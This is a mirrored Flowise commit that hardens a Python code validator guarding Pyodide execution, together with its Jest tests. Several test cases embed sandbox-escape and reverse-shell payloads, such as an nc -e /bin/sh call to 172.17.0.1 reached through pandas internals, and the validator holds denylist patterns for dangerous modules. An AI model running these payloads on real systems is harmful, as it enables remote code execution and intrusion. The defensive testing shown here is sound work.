mirror of
https://github.com/FlowiseAI/Flowise.git
synced 2026-10-12 02:02:17 +00:00
fix: strictly allow only read_csv(data, litera_options) and block exeutable args (#6313)
* fix: strictly allow only read_csv(data, litera_options) and block executable args * pr --------- Co-authored-by: Chloe Byun <[email protected]>
This commit is contained in:
chloebyun-wd
co-authored by
Chloe Byun
Chloe Byun
parent
3ed4805198
commit
d1e876d8bc
@@ -1,4 +1,4 @@
|
||||
import { validatePythonCodeForDataFrame } from './pythonCodeValidator'
|
||||
import { validateCustomReadCSVFunction, validatePythonCodeForDataFrame } from './pythonCodeValidator'
|
||||
|
||||
describe('validatePythonCodeForDataFrame', () => {
|
||||
describe('reported bypass: multi-name import with alias', () => {
|
||||
@@ -228,6 +228,18 @@ describe('validatePythonCodeForDataFrame', () => {
|
||||
expect(result.valid).toBe(false)
|
||||
expect(result.reason).toContain('requests module')
|
||||
})
|
||||
|
||||
it('should block dangerous modules reached through pandas internals', () => {
|
||||
const result = validatePythonCodeForDataFrame('pd.io.common.os.system("/usr/bin/nc 172.17.0.1 13337 -e /bin/sh")')
|
||||
expect(result.valid).toBe(false)
|
||||
expect(result.reason).toContain('os module')
|
||||
})
|
||||
|
||||
it('should block process execution even if the module was aliased first', () => {
|
||||
const result = validatePythonCodeForDataFrame('_m.system("/usr/bin/nc 172.17.0.1 13337 -e /bin/sh")')
|
||||
expect(result.valid).toBe(false)
|
||||
expect(result.reason).toContain('process execution function')
|
||||
})
|
||||
})
|
||||
|
||||
describe('reflection dunder attributes are blocked', () => {
|
||||
@@ -347,3 +359,128 @@ describe('validatePythonCodeForDataFrame', () => {
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
describe('validateCustomReadCSVFunction', () => {
|
||||
describe('legitimate read_csv calls pass validation', () => {
|
||||
it('should allow the default read_csv(csv_data) call', () => {
|
||||
expect(validateCustomReadCSVFunction('read_csv(csv_data)').valid).toBe(true)
|
||||
})
|
||||
|
||||
it('should allow literal keyword options', () => {
|
||||
const result = validateCustomReadCSVFunction("read_csv(csv_data, sep=';', header=0, keep_default_na=False)")
|
||||
expect(result.valid).toBe(true)
|
||||
})
|
||||
|
||||
it('should allow spaces around keyword equals', () => {
|
||||
const result = validateCustomReadCSVFunction("read_csv(csv_data, sep = ';', header = 0)")
|
||||
expect(result.valid).toBe(true)
|
||||
})
|
||||
|
||||
it('should allow statement separator characters inside string literals', () => {
|
||||
const result = validateCustomReadCSVFunction("read_csv(csv_data, sep=';', lineterminator='\\n')")
|
||||
expect(result.valid).toBe(true)
|
||||
})
|
||||
|
||||
it('should allow literal lists, tuples, and dictionaries for read_csv options', () => {
|
||||
const result = validateCustomReadCSVFunction("read_csv(csv_data, usecols=['Name', 'Age'], na_values={'Age': ['NA', '']})")
|
||||
expect(result.valid).toBe(true)
|
||||
})
|
||||
|
||||
it('should allow spaces around dictionary colons and a trailing dictionary comma', () => {
|
||||
const result = validateCustomReadCSVFunction("read_csv(csv_data, na_values={'Age' : ['NA'],})")
|
||||
expect(result.valid).toBe(true)
|
||||
})
|
||||
|
||||
it('should allow filepath_or_buffer=csv_data as the explicit source', () => {
|
||||
const result = validateCustomReadCSVFunction("read_csv(filepath_or_buffer=csv_data, encoding='utf-8')")
|
||||
expect(result.valid).toBe(true)
|
||||
})
|
||||
})
|
||||
|
||||
describe('code execution bypasses are blocked', () => {
|
||||
it('should block the reported walrus tuple bypass in the read_csv source argument', () => {
|
||||
const result = validateCustomReadCSVFunction(
|
||||
'read_csv((_m := pd.io.common.os, _m.system("/usr/bin/nc 172.17.0.1 13337 -e /bin/sh")))'
|
||||
)
|
||||
expect(result.valid).toBe(false)
|
||||
expect(result.reason).toContain('read from csv_data directly')
|
||||
})
|
||||
|
||||
it('should block dangerous attribute access in read_csv keyword values', () => {
|
||||
const result = validateCustomReadCSVFunction('read_csv(csv_data, storage_options=pd.io.common.os.environ)')
|
||||
expect(result.valid).toBe(false)
|
||||
expect(result.reason).toContain('option values must be')
|
||||
})
|
||||
|
||||
it('should block nested function calls in read_csv keyword values', () => {
|
||||
const result = validateCustomReadCSVFunction("read_csv(csv_data, sep=str(','))")
|
||||
expect(result.valid).toBe(false)
|
||||
expect(result.reason).toContain('option values must be')
|
||||
})
|
||||
|
||||
it('should block lambda converters in read_csv keyword values', () => {
|
||||
const result = validateCustomReadCSVFunction("read_csv(csv_data, converters={'Name': lambda value: value})")
|
||||
expect(result.valid).toBe(false)
|
||||
expect(result.reason).toContain('option values must be')
|
||||
})
|
||||
|
||||
it('should block positional arguments after csv_data', () => {
|
||||
const result = validateCustomReadCSVFunction("read_csv(csv_data, ';')")
|
||||
expect(result.valid).toBe(false)
|
||||
expect(result.reason).toContain('keyword arguments')
|
||||
})
|
||||
|
||||
it('should block empty arguments', () => {
|
||||
const result = validateCustomReadCSVFunction('read_csv(csv_data,, header=0)')
|
||||
expect(result.valid).toBe(false)
|
||||
expect(result.reason).toContain('empty arguments')
|
||||
})
|
||||
|
||||
it('should block a trailing comma', () => {
|
||||
const result = validateCustomReadCSVFunction('read_csv(csv_data, header=0,)')
|
||||
expect(result.valid).toBe(false)
|
||||
expect(result.reason).toContain('empty arguments')
|
||||
})
|
||||
|
||||
it('should block duplicate keyword arguments', () => {
|
||||
const result = validateCustomReadCSVFunction("read_csv(csv_data, sep=',', sep=';')")
|
||||
expect(result.valid).toBe(false)
|
||||
expect(result.reason).toContain('duplicated')
|
||||
})
|
||||
|
||||
it('should block duplicate filepath_or_buffer when source is named', () => {
|
||||
const result = validateCustomReadCSVFunction("read_csv(filepath_or_buffer=csv_data, filepath_or_buffer='other.csv')")
|
||||
expect(result.valid).toBe(false)
|
||||
expect(result.reason).toContain('duplicated')
|
||||
})
|
||||
|
||||
it('should block filepath_or_buffer override when source is positional', () => {
|
||||
const result = validateCustomReadCSVFunction("read_csv(csv_data, filepath_or_buffer='other.csv')")
|
||||
expect(result.valid).toBe(false)
|
||||
expect(result.reason).toContain('duplicated')
|
||||
})
|
||||
|
||||
it('should block malformed bracket nesting', () => {
|
||||
const result = validateCustomReadCSVFunction("read_csv(csv_data, usecols=['Name', 'Age')")
|
||||
expect(result.valid).toBe(false)
|
||||
})
|
||||
|
||||
it('should block top-level semicolon statement chaining', () => {
|
||||
const result = validateCustomReadCSVFunction("read_csv(csv_data); pd.io.common.os.system('id')")
|
||||
expect(result.valid).toBe(false)
|
||||
expect(result.reason).toContain('single function call')
|
||||
})
|
||||
|
||||
it('should block overlong custom read_csv input', () => {
|
||||
const result = validateCustomReadCSVFunction(`read_csv(csv_data, sep='${'a'.repeat(1024)}')`)
|
||||
expect(result.valid).toBe(false)
|
||||
expect(result.reason).toContain('1024 characters or fewer')
|
||||
})
|
||||
|
||||
it('should block trailing code after the read_csv call', () => {
|
||||
const result = validateCustomReadCSVFunction("read_csv(csv_data) or pd.io.common.os.system('id')")
|
||||
expect(result.valid).toBe(false)
|
||||
expect(result.reason).toContain('exactly one complete')
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
@@ -2,14 +2,17 @@
|
||||
* Validates Python code before execution in Pyodide to prevent remote code
|
||||
* execution (RCE). Two entry points are provided:
|
||||
*
|
||||
* - validateCustomReadCSVFunction allowlist-based check for the user-supplied
|
||||
* "Custom Pandas Read_CSV Code" field; only a bare read_csv(...) call is
|
||||
* permitted.
|
||||
* - validateCustomReadCSVFunction strict allowlist-based check for the
|
||||
* user-supplied "Custom Pandas Read_CSV Code" field. Only a single
|
||||
* read_csv(...) call that reads from the pre-bound csv_data variable is
|
||||
* permitted. Options must be keyword arguments with literal values.
|
||||
*
|
||||
* - validatePythonCodeForDataFrame denylist-based check for LLM-generated
|
||||
* DataFrame operation code.
|
||||
*
|
||||
* Both checks must pass before code is handed to pyodide.runPythonAsync().
|
||||
* These validators are one defence-in-depth layer; Pyodide execution should
|
||||
* still run with restricted network and filesystem access.
|
||||
*/
|
||||
|
||||
export interface PythonCodeValidationResult {
|
||||
@@ -49,6 +52,8 @@ const FORBIDDEN_PATTERNS: Array<{ pattern: RegExp; reason: string }> = [
|
||||
{ pattern: /\bsocket\./g, reason: 'socket module' },
|
||||
{ pattern: /\burllib\./g, reason: 'urllib module' },
|
||||
{ pattern: /\brequests\./g, reason: 'requests module' },
|
||||
{ pattern: /\.(?:os|subprocess|sys|socket|urllib|requests)\b/g, reason: 'dangerous module attribute access' },
|
||||
{ pattern: /\b(?:system|popen)\s*\(/g, reason: 'process execution function' },
|
||||
{ pattern: /\b__builtins__\b/g, reason: '__builtins__' },
|
||||
{ pattern: /\b__loader__\b/g, reason: '__loader__' },
|
||||
{ pattern: /\b__spec__\b/g, reason: '__spec__' },
|
||||
@@ -71,6 +76,238 @@ const FORBIDDEN_PATTERNS: Array<{ pattern: RegExp; reason: string }> = [
|
||||
{ pattern: /\bclass\s+\w/g, reason: 'class definition' }
|
||||
]
|
||||
|
||||
const READ_CSV_PREFIX = 'read_csv('
|
||||
const MAX_CUSTOM_READ_CSV_LENGTH = 1024
|
||||
|
||||
function skipQuotedString(code: string, startIndex: number): number {
|
||||
const quote = code[startIndex]
|
||||
if (quote !== "'" && quote !== '"') return -1
|
||||
|
||||
let escaped = false
|
||||
for (let i = startIndex + 1; i < code.length; i += 1) {
|
||||
const char = code[i]
|
||||
|
||||
if (escaped) {
|
||||
escaped = false
|
||||
} else if (char === '\\') {
|
||||
escaped = true
|
||||
} else if (char === quote) {
|
||||
return i + 1
|
||||
}
|
||||
}
|
||||
|
||||
return -1
|
||||
}
|
||||
|
||||
function expectedClosingBracket(char: string): string | undefined {
|
||||
if (char === '(') return ')'
|
||||
if (char === '[') return ']'
|
||||
if (char === '{') return '}'
|
||||
return undefined
|
||||
}
|
||||
|
||||
function splitTopLevel(code: string, delimiter: string): string[] | undefined {
|
||||
const parts: string[] = []
|
||||
const bracketStack: string[] = []
|
||||
let start = 0
|
||||
|
||||
for (let i = 0; i < code.length; i += 1) {
|
||||
const char = code[i]
|
||||
|
||||
if (char === "'" || char === '"') {
|
||||
const nextIndex = skipQuotedString(code, i)
|
||||
if (nextIndex < 0) return undefined
|
||||
i = nextIndex - 1
|
||||
continue
|
||||
}
|
||||
|
||||
const expectedClosing = expectedClosingBracket(char)
|
||||
if (expectedClosing) {
|
||||
bracketStack.push(expectedClosing)
|
||||
} else if (char === ')' || char === ']' || char === '}') {
|
||||
if (bracketStack.pop() !== char) return undefined
|
||||
} else if (char === delimiter && bracketStack.length === 0) {
|
||||
parts.push(code.slice(start, i).trim())
|
||||
start = i + 1
|
||||
}
|
||||
}
|
||||
|
||||
if (bracketStack.length !== 0) return undefined
|
||||
|
||||
parts.push(code.slice(start).trim())
|
||||
return parts
|
||||
}
|
||||
|
||||
function findTopLevelCharacter(code: string, character: string): number {
|
||||
const bracketStack: string[] = []
|
||||
|
||||
for (let i = 0; i < code.length; i += 1) {
|
||||
const char = code[i]
|
||||
|
||||
if (char === "'" || char === '"') {
|
||||
const nextIndex = skipQuotedString(code, i)
|
||||
if (nextIndex < 0) return -1
|
||||
i = nextIndex - 1
|
||||
continue
|
||||
}
|
||||
|
||||
const expectedClosing = expectedClosingBracket(char)
|
||||
if (expectedClosing) {
|
||||
bracketStack.push(expectedClosing)
|
||||
} else if (char === ')' || char === ']' || char === '}') {
|
||||
if (bracketStack.pop() !== char) return -1
|
||||
} else if (char === character && bracketStack.length === 0) {
|
||||
return i
|
||||
}
|
||||
}
|
||||
|
||||
return -1
|
||||
}
|
||||
|
||||
function containsStatementSeparatorOutsideString(code: string): boolean {
|
||||
for (let i = 0; i < code.length; i += 1) {
|
||||
const char = code[i]
|
||||
|
||||
if (char === "'" || char === '"') {
|
||||
const nextIndex = skipQuotedString(code, i)
|
||||
if (nextIndex < 0) return true
|
||||
i = nextIndex - 1
|
||||
} else if (char === '\n' || char === '\r' || char === ';') {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
function findMatchingClosingParen(code: string, openIndex: number): number {
|
||||
let depth = 0
|
||||
|
||||
for (let i = openIndex; i < code.length; i += 1) {
|
||||
const char = code[i]
|
||||
|
||||
if (char === "'" || char === '"') {
|
||||
const nextIndex = skipQuotedString(code, i)
|
||||
if (nextIndex < 0) return -1
|
||||
i = nextIndex - 1
|
||||
} else if (char === '(') {
|
||||
depth += 1
|
||||
} else if (char === ')') {
|
||||
depth -= 1
|
||||
if (depth === 0) return i
|
||||
if (depth < 0) return -1
|
||||
}
|
||||
}
|
||||
|
||||
return -1
|
||||
}
|
||||
|
||||
function isQuotedStringLiteral(code: string): boolean {
|
||||
return skipQuotedString(code, 0) === code.length
|
||||
}
|
||||
|
||||
function areSafeLiteralItems(code: string): boolean {
|
||||
const parts = splitTopLevel(code, ',')
|
||||
if (!parts) return false
|
||||
|
||||
return parts.every((part, index) => {
|
||||
if (!part && index === parts.length - 1) return true
|
||||
return isSafeReadCSVLiteral(part)
|
||||
})
|
||||
}
|
||||
|
||||
function isSafeReadCSVLiteral(code: string): boolean {
|
||||
const trimmed = code.trim()
|
||||
|
||||
if (!trimmed) return false
|
||||
if (isQuotedStringLiteral(trimmed)) return true
|
||||
if (/^[+-]?(?:\d+(?:\.\d*)?|\.\d+)(?:[eE][+-]?\d+)?$/.test(trimmed)) return true
|
||||
if (/^(?:True|False|None)$/.test(trimmed)) return true
|
||||
|
||||
const first = trimmed[0]
|
||||
const last = trimmed[trimmed.length - 1]
|
||||
|
||||
if ((first === '[' && last === ']') || (first === '(' && last === ')')) {
|
||||
const inner = trimmed.slice(1, -1).trim()
|
||||
return !inner || areSafeLiteralItems(inner)
|
||||
}
|
||||
|
||||
if (first === '{' && last === '}') {
|
||||
const inner = trimmed.slice(1, -1).trim()
|
||||
const entries = inner ? splitTopLevel(inner, ',') : []
|
||||
if (!entries) return false
|
||||
|
||||
return entries.every((entry, index) => {
|
||||
if (!entry && index === entries.length - 1) return true
|
||||
|
||||
const colonIndex = findTopLevelCharacter(entry, ':')
|
||||
if (colonIndex < 0) return false
|
||||
|
||||
const key = entry.slice(0, colonIndex).trim()
|
||||
const value = entry.slice(colonIndex + 1).trim()
|
||||
return (isQuotedStringLiteral(key) || /^[+-]?\d+$/.test(key)) && isSafeReadCSVLiteral(value)
|
||||
})
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
function validateReadCSVArguments(args: string): PythonCodeValidationResult {
|
||||
const parts = splitTopLevel(args, ',')
|
||||
if (!parts || parts.length === 0) {
|
||||
return { valid: false, reason: 'read_csv() must receive csv_data as the input source' }
|
||||
}
|
||||
|
||||
const [firstArg, ...remainingArgs] = parts
|
||||
if (!firstArg) {
|
||||
return { valid: false, reason: 'read_csv() must receive csv_data as the input source' }
|
||||
}
|
||||
|
||||
const sourceKeyword = firstArg === 'csv_data' ? undefined : 'filepath_or_buffer'
|
||||
if (sourceKeyword) {
|
||||
const equalsIndex = findTopLevelCharacter(firstArg, '=')
|
||||
const firstArgName = equalsIndex >= 0 ? firstArg.slice(0, equalsIndex).trim() : ''
|
||||
const firstArgValue = equalsIndex >= 0 ? firstArg.slice(equalsIndex + 1).trim() : ''
|
||||
|
||||
if (firstArgName !== sourceKeyword || firstArgValue !== 'csv_data') {
|
||||
return { valid: false, reason: 'read_csv() must read from csv_data directly' }
|
||||
}
|
||||
}
|
||||
|
||||
const seenKeywords = new Set(['filepath_or_buffer'])
|
||||
for (const arg of remainingArgs) {
|
||||
if (!arg) {
|
||||
return { valid: false, reason: 'read_csv() options must not contain empty arguments' }
|
||||
}
|
||||
|
||||
const equalsIndex = findTopLevelCharacter(arg, '=')
|
||||
if (equalsIndex <= 0) {
|
||||
return { valid: false, reason: 'read_csv() options must be keyword arguments with literal values' }
|
||||
}
|
||||
|
||||
const keyword = arg.slice(0, equalsIndex).trim()
|
||||
const value = arg.slice(equalsIndex + 1).trim()
|
||||
|
||||
if (!/^[A-Za-z_][A-Za-z0-9_]*$/.test(keyword) || keyword.startsWith('__')) {
|
||||
return { valid: false, reason: 'read_csv() option names must be plain identifiers' }
|
||||
}
|
||||
|
||||
if (seenKeywords.has(keyword)) {
|
||||
return { valid: false, reason: 'read_csv() options must not be duplicated' }
|
||||
}
|
||||
seenKeywords.add(keyword)
|
||||
|
||||
if (!isSafeReadCSVLiteral(value)) {
|
||||
return {
|
||||
valid: false,
|
||||
reason: 'read_csv() option values must be strings, numbers, booleans, None, lists, tuples, or dictionaries'
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return { valid: true }
|
||||
}
|
||||
|
||||
/**
|
||||
* Validates that the given Python code is safe to run in the pandas DataFrame context.
|
||||
* Call this before passing LLM-generated code to pyodide.runPythonAsync().
|
||||
@@ -98,19 +335,32 @@ export function validatePythonCodeForDataFrame(code: string): PythonCodeValidati
|
||||
export function validateCustomReadCSVFunction(code: string): PythonCodeValidationResult {
|
||||
const trimmed = code.trim()
|
||||
|
||||
if (trimmed.length > MAX_CUSTOM_READ_CSV_LENGTH) {
|
||||
return { valid: false, reason: `Custom read_csv code must be ${MAX_CUSTOM_READ_CSV_LENGTH} characters or fewer` }
|
||||
}
|
||||
|
||||
// Allowlist: must be a single read_csv() call
|
||||
if (!trimmed.startsWith('read_csv(')) {
|
||||
if (!trimmed.startsWith(READ_CSV_PREFIX)) {
|
||||
return { valid: false, reason: 'Custom read_csv code must start with read_csv(' }
|
||||
}
|
||||
|
||||
// No newlines or semicolons — prevents class definitions and multi-statement payloads
|
||||
if (/[\n\r;]/.test(trimmed)) {
|
||||
// No statement separators outside strings — prevents class definitions and multi-statement payloads
|
||||
if (containsStatementSeparatorOutsideString(trimmed)) {
|
||||
return {
|
||||
valid: false,
|
||||
reason: 'Custom read_csv code must be a single function call with no newlines or semicolons'
|
||||
}
|
||||
}
|
||||
|
||||
const closingParenIndex = findMatchingClosingParen(trimmed, READ_CSV_PREFIX.length - 1)
|
||||
if (closingParenIndex !== trimmed.length - 1) {
|
||||
return { valid: false, reason: 'Custom read_csv code must be exactly one complete read_csv(...) call' }
|
||||
}
|
||||
|
||||
const args = trimmed.slice(READ_CSV_PREFIX.length, closingParenIndex)
|
||||
const argsValidation = validateReadCSVArguments(args)
|
||||
if (!argsValidation.valid) return argsValidation
|
||||
|
||||
// Apply the denylist as a second layer
|
||||
return validatePythonCodeForDataFrame(trimmed)
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user